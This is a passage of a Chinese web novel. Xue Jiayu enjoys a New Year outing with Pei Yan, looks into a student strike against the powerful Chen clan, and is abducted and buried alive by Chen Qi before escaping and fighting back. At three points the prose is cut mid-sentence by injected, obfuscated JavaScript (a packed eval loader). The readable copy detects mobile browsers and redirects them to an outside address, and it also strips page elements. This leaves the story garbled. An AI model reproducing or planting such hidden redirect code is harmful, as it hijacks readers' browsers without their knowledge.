他的脸颊有些烫,薛嘉玉便偷偷转过头去盯着他,裴砚的耳尖也有些泛红,他目不转睛地骑着马,很是认真,脸颊白皙柔嫩,薛嘉玉抵挡不住美色的诱惑,往前面凑了一下,在他的耳尖留下了一个吻。 裴砚情不自禁地笑了下,他搭在薛嘉玉肚子上面的手掌拍了拍,“正经点,旁边还有人呢。” 可是薛嘉玉却壮着胆子又亲了好几下。 他的脸颊控制不住地又变红了一些,裴砚佯装镇定,他的语气中带着一点责怪,“别亲我了,会让我分心的,一会儿马翻了怎么办?” 薛嘉玉依旧没有做到适可而止,反而还换了一个位置亲吻,她吻向裴砚修长的脖子,依依不舍地分开,亲完之后也不忘调戏一下。 “文溪,你身上好香。” 裴砚不自觉地咽了口唾沫,他轻轻挠了挠薛嘉玉腰上的痒痒肉,“别闹了,好吗?” 薛嘉玉撇了撇嘴,有些意犹未尽,“只许州官放火,不许百姓点灯是吧?” “没有,我这不骑着马呢。”他暂且分神,吻了一下薛嘉玉的眉角,“等一会儿到了,再谈这些。” 上山的路可就不必城里面的路宽敞平坦了,裴砚叫她抓着自己,免得被颠得上下摇晃,可薛嘉玉不听,认为裴砚是在借机耍流氓,之后她就被晃得老实巴交了,薛嘉玉慌乱间抓住他的手。 她仍旧嘴硬:“你能不能别骑这么快?这马都要受不了。” 裴砚心中了然,他哼笑一声,“都跟你说了这条路陡,你还不信。” 薛嘉玉想要跳过这个话题,于是生硬地转开话题,“对了,兄嫂他们怎么还没来?” “你管他们干嘛?他们有手有脚的,一会儿就来了。” 她像是泄了力一般靠在裴砚身上,薛嘉玉很是贪恋和享受当下这般幸福圆满的日子,一旦获得了幸福,她就开始不想回到过去那段孤独阴暗的时光了,更不想因为复仇而将自己的生命赔进去了,因为她顿时发现自己还有好多好多事情没有做,也还有很多时光没有和裴砚一起度过,她更舍不得那些对她好的朋友。 然而,薛嘉玉没有办法,她没有良好的家世,没有至高无上的权柄,也没有富甲一方的财力,想要报仇就只能殊死一搏,因为她无法靠其他的东西来压倒陈家。 她将头往右边偏了偏,用脸颊去感受裴砚胸膛的温暖,无论她已经从裴砚身上获取了多么多的温暖,薛嘉玉也依旧感受不到餍足。 裴砚将环在她腰上的手缩紧了一些,他垂眸瞧了怀里的人一眼,试探地问:“怎么了?不开心吗?” 薛嘉玉摇头否认,她不想将自己的坏情绪带给无辜的裴砚,更何况今日还是春节。 他将马拴在树木上面,裴砚伸手扶她下来,然后接过金羽递来的孔明灯,薛嘉玉将孔明灯上面的信纸拿下来,正要写上自己的心愿,却忽然发现没有毛笔。 金羽立刻垂下脑袋,认错速度极快,“郎君,是我疏忽了。” 裴砚摆摆手,“无碍,你就在心里面许一个吧。” 她双手合十,闭上双眼,心里面有无数个想要许的愿望,但最终还是只许了一个愿望,因为薛嘉玉希望佛祖和家人能够看在她只许了这唯一一个愿望的份上,可以保佑她遂愿。 ——希望我可以全身而退。 薛嘉玉睁开双眼,用火折子将孔明灯里面的白蜡点燃,接着与裴砚共同放飞了这个孔明灯,烛光摇曳的孔明灯随着风的方向飘到了更远的地方,与那成千上万的孔明灯汇集,一同乘着风,将人们的思念带向远处,带向他们的家人。 紧接着,裴砚二话不说就将焰火点燃,以极快的速度径直冲向天空,随后便在黑夜中绽放出粉红色的焰火,发出了“砰”的一声,震耳欲聋。 薛嘉玉方才被焰火冲上天的声音吓了一跳,当她反应过来,抬起头正想看焰火的时候,焰火已然转瞬即逝,只能看见天空上不断绽放又消失的其他缤纷多彩的焰火。 她气得跺了跺脚,“裴砚!你放焰火怎么不跟我说一声?我方才都没有看见!” 裴砚将手里的火折子递给她,“呐,这次你来放。” 薛嘉玉一把夺过火折子,将面前的焰火点燃,这次的焰火是黄色的,在天空上留下了一道无以伦比的痕迹,她亲眼见证着焰火一点点消失,又转头看向裴砚,正好与他的视线撞了个满怀。 幸好,爱她的人都还在。 裴砚接过金羽递上来的伞,将伞骨撑开,把伞向薛嘉玉的方向倾斜,“雪变大了,冷不冷?” 她将大氅拢紧了一些,“不冷,我们再待会儿吧。” 听及此,裴砚的目光暗淡了几分,随后故作不经意地问:“怎么?你是怕之后没机会和我一起赏焰火了?” 薛嘉玉地心事被戳中,可她也只能强装镇定,她不知道裴砚为什么突然这么问?是真的不着调地随便问一句?还是故意这么试探的? 她不知道,而且她也不想去思考,只随便糊弄了一句过去。 “是啊,人生这么短,当然应该要享受当下。” 裴砚在心里面默默叹了口气,他走到金羽身边,对他吩咐了几句话,随后才回到薛嘉玉身边,陪着她点燃一个又一个焰火。 此刻已到子正时分,这山上越来越冷了,白雪皑皑,薛嘉玉忍不住用两只手抱着自己的双臂,蒋宁显和裴珩已经打算骑马回府,裴砚瞧她也有些冷了,就带着她一块儿上了马。 这次薛嘉玉主动要求坐在后面,他本来还想不通,直到后来裴砚发现她已经靠在自己背上睡着了,他方才知道薛嘉玉坐在后面的缘由。 裴砚下马的时候,不忍吵醒她,就蹑手蹑脚地翻身下马,他靠在马肚子上,双手环抱在胸前,仔仔细细地观察着她的睡相,这一次她倒是老实了点儿,没有摸马地肚子,占马的便宜,只安静地趴在马背上,嘴唇微微张开,嘴角还有口水流过的痕迹。 她的身后是漫天纷飞的雪花。 裴砚轻轻拍了一下她的手臂,“阿玉,起来了,这里冷。” 薛嘉玉的嘴里发出了“唔”的一声,她用手背揉了揉眼睛,“知道了。” 她两只手撑着马背,缓慢地蹭了起来,薛嘉玉用手拢了拢有些歪的大氅,随后才稀里糊涂地翻身下马。 裴砚单手扶着她的手肘,带着她回到她的厢房,薛嘉玉已经困得眼皮子都在打架了,脑袋发昏,感觉自己已经什么事情都不想做了,只想马上掀开被子,钻进被窝里面睡觉。 可是她脸上上了脂粉,若是不用澡豆细细清理的话,那薛嘉玉的皮肤可就完蛋了。 于是,她想了一个两全其美的好办法,薛嘉玉两手抱住裴砚的腰,像是个无赖,“文溪,你帮我梳洗换衣服嘛。” 裴砚一听,这哪里成? 他连忙将她的两只手掰开,裴砚登时端出一副正人君子的模样,“这可不行,我去找个侍女给你伺候。” “搞得好像你没有给我换过衣裳一样,现在又装什么正人君子?” “我何时给你换过衣裳?”虽然裴砚一直想要这么做,但他也不能罔顾礼节。 薛嘉玉见他做了还不大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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她两只手遮住自己的脸,嘴角开始止不住地抽搐,肩膀轻微地上下起伏着,眼里的泪终究还是夺眶而出,薛嘉玉的眼眶登时变得猩红,听到身后传来动静,连忙抽出手帕,将眼角的泪拭去。 侍女手脚麻利,三两下就把她伺候好了,本来还想要扶着薛嘉玉上床的,但薛嘉玉婉拒了,并将侍女屏退,她坐在松软温暖的衾被上,心里面很是纠结。 薛嘉玉不知道现在应不应该走,如果她一声招呼不打就离开这里,那裴砚心里面会作何感受? 况且,现在陈府也还没有动静,若是她一直待在这里等到东窗事发的话,那裴府就摘不干净了。 她想了想,还是等明日裴砚不在府中的时候,再带着行囊偷偷离开这里吧。 翌日清晨,薛嘉玉两手撑着床榻蹭了起来,她翻身下床,推开窗户,此时阳光正好,想必时辰也不早了,她揣测这个时候裴砚应当出门了。 于是她甚至连洗漱都没来得及弄,就打开衣柜收拾衣裳和钱财,只是薛嘉玉才刚翻了两套衣服出来,耳畔就响起了敲门的声音。 薛嘉玉有些疑惑,不疾不徐地走到门口,推开双门,却见裴砚正衣冠楚楚地站在门口,她登时更加迷惑不解了,“文溪?你怎么在这儿?” 裴砚面若冰霜,神色看起来甚是凝重,他单手背在身后,头发难得高高束起,并戴上了黑色的软脚幞头,垂下耳后的两脚就像两个小辫子一样,他戴着倒不似其他郎君一样显得愈加成熟稳重,反倒是多了几分少年气。 “今早尚林书苑有不少学子罢学,扬言要为那些被陈氏所欺压过的平头百姓讨回一个公道,也不知道是谁忽然间又把陈氏做得那些下三滥的事情给传出去了。” 听到最后一句话,薛嘉玉心中也甚是困惑,因为她并没有出手,那又会是谁传出去的呢? 况且这个人还要能够保证自己传出去的这些事一定可以引起尚林书苑学子们的愤懑,而能进尚林书苑的大多都是官宦世家的孩子,甚至还有一小部分是皇亲贵胄。 也就是说,除了她,还有人也想要除掉陈家? 57. 尚林书苑 裴砚瞧她有些走神,就用手指轻轻戳了一下她的脑门,“想什么呢?这么出神。” 薛嘉玉揉了揉自己的脑门,“当然是在想会是谁传出去的啊。” 他弯着腰,与薛嘉玉平视,裴砚的眸中无甚波澜,可他的嘴角却扬起一抹狡黠的笑容,“那你跟我一同去尚林书苑瞧瞧吧。” 她也很好奇这位神秘的幕后之人会是谁,更何况薛嘉玉兴许可以借学子罢学这件事情来引出陈祺,再自入虎穴。 薛嘉玉点了点头,接着便转身去把方才拿出来的那两套衣服放回去,以免引人怀疑,随后就以最快的速度进行梳洗穿衣打扮这三个步骤。 尚林书苑就在离裴府不远的地方,等他们俩一块走过去的时候,里面的学子正在书苑门口大声地讲述着陈氏这么多年的所作所为,甚至还专门为此写了一块横幅,上面用毛笔落下了极为清晰的四个字——明镜遍照。 是啊,若能让明镜遍照四海八荒,像陈氏这样以权压人的钟鸣鼎食之家兴许就会少很多,没想到在天子脚下,陈氏都能行事如此猖狂,那更何况其他地方? 也许圣上知道陈氏的所作所为,但因为陈氏累世公卿,德高望重,选择睁一只眼闭一只眼;也许圣上并不知道陈氏的这些腌臜事,如今尚林书苑的事情闹开,势必会被圣上知晓,若是圣上龙颜大怒,亲自处理了陈氏,那薛嘉玉便也不用处处瞒着别人,心中也不再为仇恨所困。 可若是圣上顾及朝中局势,选择按兵不动,那薛嘉玉必然会亲自动手,深入虎穴,因为她无法等那么久了。 薛嘉玉缓步上前,她停在一位女娘面前,开口并不是问他们为何要为了陈氏一事罢学,而是问:“你们这样罢学,祭酒不会怪罪你们吗?” 这位女娘拉着横幅,愤愤不平地说:“这是施祭酒默许了的,陈氏做出了如此丧心病狂的事情,理应被世人谴责,也应当被圣上知晓,让陈氏知道什么叫做报应。” “那你所说的这位施祭酒可在此处?” 女娘转身,腾出一只手,往尚林书苑里头指了指,“施祭酒就在里面。” 薛嘉玉回头看了一直默不出声的裴砚,似是在征求他的同意,裴砚大步上前,踏进尚林书苑,“走吧。” 她快步跟上裴砚,薛嘉玉从未来过这所被誉为“最高学院”的尚林书苑,据说谢太傅和当今的冯尚书都曾在这所书苑学习,因而流芳百世,为天下学子所追崇。 尚林书苑占地近百亩地,来这里求学的学子有上千人,但却看不见几个寒门学子的身影,也许是资质比不过达官贵族的孩子,也许是路途遥远,承担不起费用。 这里树影斑驳,花香鸟语,倒真给人一种静谧的感觉,让人踏进这里就不免觉得安心,薛嘉玉来到庭院,这儿有不少学子凑在一起学习《孟子》,还有几位在拿着《谏太宗十思疏》阅览,穿过重重回廊之时,学子们朗朗的读书声不绝于耳。 世人都说读书很苦,读书只是为了科举做官,甚至很多人穷极一生也才只能当个九品芝麻官,但薛嘉玉瞧见他们埋头苦读的模样,心中不免觉得有些艳羡。 她小的时候读过一些书,但祖母年纪大了,去食驿酒馆做工,人家店主根本不要,祖母负担不起那么多石粮食,但祖母却又舍不得让她不读书,薛嘉玉不想让祖母无法安享晚年,便干脆辍学。 裴砚瞧着她有些出神,便用手拍了拍她的肩膀,“想什么呢?未必你也想来这儿读书?” 薛嘉玉没有欺瞒他,诚实地点了点头,“对。” 俗话说,人永远都会幻想且美化自己没有选择的那一条路。 裴砚明白这个道理,也知道她是因为从小没读过几本书才会产生这种幻想,他并没有泼她的冷水,而是笑着说:“你若是真想读书,我把你送进来学一段时间便是。” 她眸光微闪,眉眼间尽带笑容和期待,下意识就仰起头再次询问,“真的吗?” 可是这句话刚问出来,薛嘉玉的眸光就渐渐黯淡,她好生后悔问了这句话,明明自己都没有多少时间去谈以后了。 薛嘉玉在心里这样默默想着,忽然间她的脑袋上就传来了裴砚爽朗的声音。 “当然。” 谈笑间,二人已然来到了施祭酒所在的地方,施祭酒已然年迈,本应告老还乡,但却又舍不得那些好学上进的学子,便留下来继续传道受业解惑。 只见他坐在木凳上,手边放着一个拐杖,施祭酒的左右围着好几个学生,他们纷纷俯身倾耳以请,而施祭酒也是十分耐心地为他们讲解诗书,答疑解惑。 裴砚远远地冲着被人群围着的施祭酒招手,“施祭酒!” 施祭酒听见了一道熟悉的声音,立马转头去看,看见面前这位正朝着自己走来的小郎君,心中不免感到欣慰,当然也有点小脾气。 他一把抄起手边的拐杖,冲着裴砚的腿狠狠拍去,“你这个家伙!终于想起老夫来了?你若是再不来,老夫还以为你把我给忘得一干二净了呢。” 裴砚笑着握住拐杖的另一头,一把将拐杖夺过来,接着将其放回原位,他绕到施祭酒身后给他捶背,讨好地笑着说:“您老就别生气了,我这不是因为大理寺公务繁忙嘛。再说了,兄长不也是您的学生吗,您怎么不去收拾他呢?” 施祭酒回过头,伸出一根手指戳了戳裴砚的手臂,“你呀,都是二十二岁的人了,怎么还是有副孩子心性?况且,从瑜在吏部为官,只用寥寥数年便成为了吏部侍郎,只要平时公务上不出差错,吏部尚书一职指日可待,他忙不见我,这是情理之中的事情。哪像你?一天天的就知道调皮。” 他还没来得及多说几句,施祭酒就把视线投向站在一旁,略显拘谨的薛嘉玉身上,他的眼神顿时变得有趣起来,他用手指指着薛嘉玉,视线却回到了裴砚身上,认真地问:“这小娘子可是你的心上人?” 裴砚顾及到这里是尚林书苑,而且他们二人此次前来是为了打听风声的,若是就这么坦坦荡荡地承认了,她的身份又被旁人听去,恐怕会对她的行动造成不便。 于是,他打算否认,正欲开口,就听见薛嘉玉坦然承认了这个身份。 裴砚的眸中霎时划过一丝狐疑,但很快便恢复了往常,他笑着应和,“是啊,她可是我求了好久才求来的姑娘。” 见自己的爱徒也快要成家了,施祭酒也不禁感叹时间易逝,芳华易老,他语重心长地劝诫裴砚,“既然有了心爱的女娘,那就一定要好好地珍爱她,不要伤了她的心。还有,有情人终成眷属不易,相守到老更是不易,要做到厮守一生,就一定要信任对方,要将对方当成自己的可以依靠的一颗大树。明白了吗?” 薛嘉玉微微颔首,“明白了,施祭酒。” 裴砚继续给他按摩捶背,结束了方才那一阵寒暄,他转而问道:“这尚林书苑闹罢学,您怎么也不管管啊?就不怕被圣人知道了会怪罪您吗?” 施祭酒人虽然老了,可脑子还没老掉,他还是能够明辨是非的,“文人就是要有风骨,要用笔墨和口才为天下黎民鸣不平的,若是圣上因老夫放任学子罢学游街而怪罪下来,那这便证明了什么叫做上梁不正下梁歪。老夫本来也就是个半只脚踏进棺材里面的人了,早已天不怕地不怕。” 见状,薛嘉玉继续追问:“那您可知这些学子们为何在今早纷纷罢学游街呢?明明之前陈氏的事情也曾闹得纷纷扬扬。” 施祭酒合上双眼,手中握着拐杖,用拐杖戳了戳地,他沉吟道:“你这位小女娘应当不是达官贵族的女儿吧,在尚林书苑学习的都是出身名门望族,陈氏树大根深,与长安大多世家都有交情,就算他们当时想要鸣冤,也不得不顾及着氏族之间的关系。只是,今早有人在尚林书苑附近大肆宣扬那日茶馆的事情,碰巧被路过的学子们听见了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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自从二人定情之后,薛嘉玉对他就没有再竖起过高高的围墙,对他也相对坦诚,她老实巴交地说:“逢春茶馆的事情距离现在已经隔了快一周的时间了,为什么早不宣扬晚不宣扬,偏偏就在这个时候又翻出来了?而且偏偏还被施祭酒的女儿施佳给听了去,不觉得很蹊跷吗?国子祭酒虽然是从三品,但却也掌管了整个国子监,地位并不低。 施祭酒说之前学子们不肯发声,是因为他们顾及着世族之间盘根错节的关系,可为何这一次施佳却敢为天下先呢?而且施祭酒的态度也分明是在纵容,难道施家就不怕陈氏因此事报复吗?” 裴砚瞧她说得头头是道,面色却是凝重了几分,他的眉心微微皱起,平添了几分愁容,他沉默了半晌才道:“你说得倒也有理,只是此事不归大理寺管辖,我也无权干涉。” 薛嘉玉急着追问:“那此事当归谁管?” 他盯着薛嘉玉着急的面容看了许久,忽地笑了一下,裴砚只道:“尚林书苑是学府,本应由国子祭酒来管,可是我猜圣上知道施祭酒在纵容这种情况的话,恐怕会交给礼部处理。” 她心中不免有些着急,因为此事实在过于古怪,薛嘉玉担心这有可能是一出贼喊捉贼的好戏,是陈祺专门为了钓出造成这一切的罪魁祸首而编排的戏。 若真是这样,那薛嘉玉这位重要至极的戏子倒是得要早早登场才是。 “那你可知道礼部尚书是谁?” 方才裴砚回答她的问题的时候,就已经猜到薛嘉玉定然会揪着礼部顺藤摸瓜地问下去,他心下了然,有些不着调地开口:“还能是谁?不就是一直缠着你的那位小情郎的爹吗?” “越褚?!” 听及此,裴砚用手轻柔地掐了一下她的侧腰,“这么快就想到是他了?看来他当真如我所说的一样,是你的小情郎啊。” 58. 鱼死网破 街上人来人往,薛嘉玉不习惯他跟自己这般亲昵,她用抬起左手,用手肘撞了一下他的肚子,“你能不能正经一点?这可是在大街上。再说了,是你说那个人是一直缠着我的某位,那除了是越褚以外,还能是谁?” “不过这趟浑水你就别淌了,就让礼部好好操办便是,想必陈氏也会看在礼部是领了圣命的份上,不会为难礼部。” 提及圣上,薛嘉玉倒是又想起了一件事情,“那对于陈氏做的这些伤天害理的事情,圣人是什么态度?” 裴砚听后,故作一副很为难的模样,他轻轻啧了一声,“这个……你也不能怪圣上,他毕竟是一国之君,要以大局为重,如今陈氏树大根深,朝中仍有几位股肱之臣,不好动手。” 他说得很委婉,但薛嘉玉也能明白这是什么意思,不就是圣人又一次选择了睁一只眼闭一只眼嘛。 十三年前薛家满门被屠,刑部、大理寺和御史台却纷纷对此缄口不谈,这里面有陈祺的手笔是毋庸置疑的,但薛嘉玉不信这其中没有先帝的纵容。 即使当年她第二日便被祖母接走,但一家老小全部被杀,况且还是在天子脚下,这定然会闹得满城风雨,圣人不可能不知,也绝无可能不知道真相。 看来,薛嘉玉应当是等不了那一天了。 她点了点头,假意答应了裴砚说的话。 回到府里,裴砚便说自己要进宫一趟,连个完整的招呼都没打完,就匆匆离开了裴府。 薛嘉玉懒得问他进宫所为何事,她得趁着裴砚不在府里这段时间,收拾好自己的细软,然后跑回自己家中,顺道去拜访一下越府,问问尚林书苑的事儿。 她没有什么东西可以拿走,毕竟那些衣裳和鞋子都是裴砚自掏腰包买的,薛嘉玉觉得没必要把这些不是自己买来的东西带走,就连裴砚送的那根发钗也留下了,只带走了钱财和那枚流苏发簪。 薛嘉玉一把将蓝色碎花布包抗在肩膀上,接着蹑手蹑脚地穿越重重回廊,然后左顾右盼着推开了后院的门,悄悄离开了裴府,没有任何一个人发现。 出了裴府,她便加快脚步,回到自己屋里,这陋室已然很久没有住过人了,虽然裴砚偶尔会派裴府的小厮去她家打扫一番,但推开门进去,还是会感受到一种冷清,桌子上蒙着一层灰尘,床铺被铺得整整齐齐,一点儿也不像她平时起床懒得收拾的模样。 她将肩膀上的行囊放在有些破旧的妆台上,打开行囊,里面的东西一下子就铺开了,发出了叮呤当啷的声音,薛嘉玉率先将那把淬了毒的发簪放进妆奁里面,其他的钱财则是放在自己的枕头底下。 简单收拾了一番,薛嘉玉便出门去找越褚了,她来到越府门口,让小厮去帮忙通传一下,越褚得知是她来了,登时觉得嘴里的饭菜都不香了,立马放下手里的筷子,跟着小厮一块儿来到门口。 越褚瞧见她站在门口,此时又正是日暮时分,便脱下自己身上的披风,刚要披在她的身上,就见薛嘉玉往后退了一步,她抬起右手,掌心向外,分明是一个拒人于千里之外的姿势。 “多谢越公子好意,我今日来是想问一些事情的。” 越褚倒也没觉得难堪,他将披风重新系好,调侃道:“怎么?是不是裴砚惹你伤心了?让你明白了我其实才是那么良人?” 薛嘉玉顿时觉得脑袋突突疼,她正了正色,“越公子,我是想要问问令尊对于尚林书苑的事情打算作何处理?” 听及此,他的眼珠子对登时骨碌一转,薄唇轻启,拖长声音“啊”了一声,越褚站在原地,抬起右脚脚尖,毫无规律地点了点地,他沉吟片刻,才缓缓道:“还能怎么处理?当然是只能强行压下去了。学子罢学游街,这可不是读书人的分内之事,就算陈氏当真做了那些事情,那也不该由学子置喙,该交由司法机构处理。” 她敛了敛眉,眼底并未掀起任何波澜,兴许是因为这一切的一切都是情理之中的事情。 见她不说话,越褚便凑上去接着问:“这件事情莫不是小娘子你一手策划的?陈氏这种世家大族可不是你能凭一己之力就撼动的,还是莫要趟这种浑水了。” 薛嘉玉咬了咬下嘴唇,她冲着越褚点了点头,“明白了,多谢越公子。” 越褚目送着她离开这里,眸中登时变得晦暗不明,一扫刚才的清澈,他回过头,将视线落在躲在角落里的裴砚,他冲着裴砚摇了摇头。 她回到家,将那枚发簪簪在发髻上,顺便从妆奁里面拿出一个小小的药瓶子,刚把药瓶子揣好,忽然这时候门口传来了一阵急促的敲门声,薛嘉玉刚想转身去开门,却见自己家的大门已然被外面的人暴力撞破,她的眼眸霎时间冷了下来,死死地盯着走进来的那个老头儿。 眸中满是仇恨。 只见陈祺云淡风轻地杵在门口,他大腹便便,比木桶还要大的腰上系着一根腰带,上面用不少绚丽多彩的宝石点缀,他两手放在挺起的大肚子上,冲着面前手无缚鸡之力的小娘子笑了笑,脸上的横肉立刻就堆在了一起。 “薛娘子,老夫当真很好奇当年你究竟是怎么逃过去的?路上跟我好好聊聊吧。” 话音刚落,陈祺就立马冲着左右两个护卫招了招手,下令他们马上将她绑走,还真是快刀斩乱麻。 薛嘉玉被两个护卫紧紧地扣住双臂,她忍不住朝着面前这个凶手啐了一口,她双眸猩红,理智被仇恨占据,“我活下来了说明我命不该绝,是老天有眼,给了我报仇雪恨地机会。” 陈祺见惯了这种平头百姓不顾礼节的模样,他用手捂住鼻子,眸中尽显嫌恶之色,对那两位护卫摆了摆手,“快把她带走,一个小娘子居然一点德行都没有。” 她被押上了马车,护卫用早已备好的麻绳将她的手和脚全都捆好,陈祺坐在她地对面,他倾身上前,用手捏住薛嘉玉的下巴,“这一切都是你做的吧?你说你,好好活着不行吗?非要自寻死路是吧?你以为我陈氏有这么容易被铲除吗?我陈氏当年随着太宗皇帝一同打下这片江山,若没有我陈氏,也就不会有我朝如此辽阔的疆域。真要计较起来,这王朝也当有我陈氏的一份!” 薛嘉玉忍不住嗤笑一声,她的眸中尽显戏谑,唇角微微勾起,平心静气地说:“陈祺,当年你们陈氏领兵打仗,因为过于冒进,险些自损八千,甚是军中粮草都快不够了,若不是平阳公主领着人马前来协助,你们陈氏的人早就在战场上被那些蛮夷给五马分尸咯!” 陈祺的手猛地下移,一把掐住她纤细的脖子,他被方才那番话气得目眦欲裂,五官都快皱在了一起,“薛嘉玉!你还当真是巧舌如簧啊。你可知道,王榷因为你,被我杀死了,他死的时候眼睛都没闭上呢!你说他会不会恨死你啊?” 他本以为这番话能够震慑住这个小娘子,可是下一刻,陈祺却听见薛嘉玉忽然仰天大笑起来。 陈祺忽然间愣了一下,他旋即又加重了手上的力度,手背的青筋渐渐暴起,薛嘉玉的下巴下意识向上抬起,她的眉头紧皱,嘴巴微微张开,迫切地呼吸着空气,看起来痛苦至极。 “你为什么要笑?回答!” 薛嘉玉的视线下移,她勉强从嘴巴里吐出几个字来。 “为了达到自己的目的,牺牲几个人的生命又如何?这难道不是人之常情吗?” 本以为她会就这么草率地死在这里,可是陈祺听完这句话后却将她放开了,薛嘉玉靠在马车上,面色苍白,仰着脑袋大口呼吸,她的脖子上已然印出一大片红色的掌印。 陈祺用手帕擦了擦方才掐过她脖子的右手,他含笑道:“我可劝你勿要再抱有别的心思,等你一会儿看见别的东西之后,我再把你处理得干干净净,好让你们一家团聚,毕竟成人之美是一种美德嘛。” 能把杀人灭口说得如此冠冕堂皇,看来人命在陈祺眼里根本算不得什么,也许连草芥都不如。 马车的车轮滚滚向前,一路上崎岖不平,薛嘉玉也不知道这个人究竟想要把自己拉到哪个地方去,此刻陈祺已然睡着,她若是想要动手的话,就必得选一个空旷一点的地方,而且至少得要调走一个人,此举并非轻而易举。 况且这两个护卫长得人高马大的,光靠近身搏斗的话,薛嘉玉定然是占据下风的。 她的眉心突突地跳着,也懒得去想这些,到时候见机行事就好,大不了鱼死网破。 也不知过了多久,马车才缓缓停下,陈祺睁开双眼,风轻云淡地伸了个懒腰,他掀开帷裳,弯下腰,在马夫的搀扶下下了马车,陈祺面带笑容,对马车上的薛嘉玉说:“薛娘子,快下来瞧瞧这儿的大好风光吧!” 薛嘉玉脚上的麻绳被护卫割断,她刚起身,屁股就被身后的护卫不耐烦地踹了一下,险些没有摔得脸部着地。 护卫在后面催促:“怎么走这么慢?搞快点!别磨磨叽叽的!” 她暂且吞下了这口恶气,薛嘉玉从马车上面笨拙地跳下去,她抬眼一瞧,这里白雪皑皑,周围枯木丛生,但腊梅开得正盛,散发着阵阵幽香,旁边还有一座宽敞的木屋,装潢典雅,木屋背后则是淙淙溪流。 若是忽略木屋旁边的那个凹凸不平的小土堆,那么这将是许多文人雅士都心驰神往的隐居生活。 薛嘉玉的目光定在了那奇怪的小土堆上,此刻一阵寒风拂过,她顿觉脊背一凉,头皮发麻。 陈祺知道她发现了那小土 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250424|162194||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆的异样,于是冲着护卫们使了个眼色,示意他们去挖土堆,旋即便听见陈祺含笑道:“知道那土堆里面是什么吗?是你们薛家上上下下十几个人的白骨。” 听见这句话后,她的瞳孔猛地一震,指甲都快嵌进了手心里,可□□上的疼痛根本比不了心里面的疼,薛嘉玉顿时感觉自己的心脏一抽一抽地疼,眉头紧紧蹙起,闭上双眼,不愿去面对自己的亲人。 薛嘉玉也明白了那间木屋的主人是谁,她实在没有料到陈祺这个人居然变态至极,竟然将曾经杀过的人的尸骨埋在自己屋旁边。 护卫们手脚麻利,三两下就把小土堆挖好了,陈祺将左手放在她的后背上,用力向前推,薛嘉玉一个踉跄来到了土堆旁边,只见土堆里面满是被打乱的白色骨头,根本分不清谁是谁。 她的眼眶里面登时涌上了眼泪,薛嘉玉不愿直面这一切,她不忍心看自己的亲人死后都得不了善终,还要日日夜夜与杀人凶手共处。 薛嘉玉的眸中再也不见一丝良善,她从袖子里掏出一个银色刀片,疯狂地割着麻绳。 陈祺瞧见她的这个小动作,也丝毫不见慌乱,他朝着护卫摆摆手,只见他的脸上洋溢着笑容,波澜不惊地说:“小娘子,莫要反抗,没有用的,你怎么可能斗得过我呢?” 她尚且未将绳子全部割断,那护卫就忽地出现在她的身后,一把将薛嘉玉手里的刀片抢走,接着便以迅雷不及掩耳之势将薛嘉玉一脚踢进死人堆里面去。 这个坑并不浅,更何况周围全部都是松软的泥土,薛嘉玉难以在短时间内靠自己爬上去。 那两个护卫连忙用铁锹将泥土全部铲回坑里面去,坑里的薛嘉玉立刻变得灰头土脸,她伏在白骨堆上,以免让泥土吸入鼻腔。 陈祺在一旁坐怀不乱地看着这一切,脸上尽显得意洋洋的神色。 护卫将泥土埋得严严实实,常人在这种密闭空间里面不出半个时辰就定会死掉,护卫走到陈祺身边,恭恭敬敬地问:“老爷,现在打算怎么做?” 陈祺抬头瞧了眼一望无际苍穹,天空上乌云密布,黑暗渐渐笼罩苍茫大地,他将视线收回,“就先在这儿住一晚吧,免得那个小娘子使什么阴招,坏了我的好事。你们两个守仔细一些,莫要让朝廷的人发现了这里。一旦有异动,立刻通知我。” 护卫频频点头,恭敬应是。 时间悄然流逝,不知不觉间已然到了深夜,此刻大风四起,白雪随风而起,纷纷扬扬的雪花轻柔地落在枯枝上,地面上也已然铺上一层厚厚的雪,寒冷至极,更何况还是在这座人迹罕至的山上,平添了几分阴森。 这时候,小土堆蓦地被戳了个洞,泥土和白雪不断地向外冒,紧接着一个人的脑袋就忽然从土里面长了出来,要是这个时候有别的人路过,定然会被眼前的此情此景给吓得半死。 薛嘉玉将手里的骨头丢下,两手扒拉着洞口,一鼓作气从土堆里面爬了出来,她瞅见小屋门口的两位护卫正瞪着大眼,守在木屋门口,连忙手脚并用,一路爬到木屋后面去躲着。 幸好当时她伏在白骨身上的时候,偷偷吃了速效假死药,这才短暂地保住了这条小命。 她取下头发上的簪子,然后从另外一边轻手轻脚地绕到前面去,那两个护卫瞧见薛嘉玉忽然出现在自己眼前,登时吓得虎躯一震,正打算进去告诉给陈祺,可薛嘉玉下手太快,毫不犹豫地将簪子刺进了护卫的脖子里,接着又立马拔了出来。 她甚至连死掉的那个护卫看都不带看的,直接握着簪子,朝着另外一个护卫步步逼近,护卫吓得连连后退,下意识将自己腰间别着的刀抽出来,然后将刀竖在眼前,“你若是再敢靠近一步,信不信我直接将你砍死!” “那你砍死我吧。” 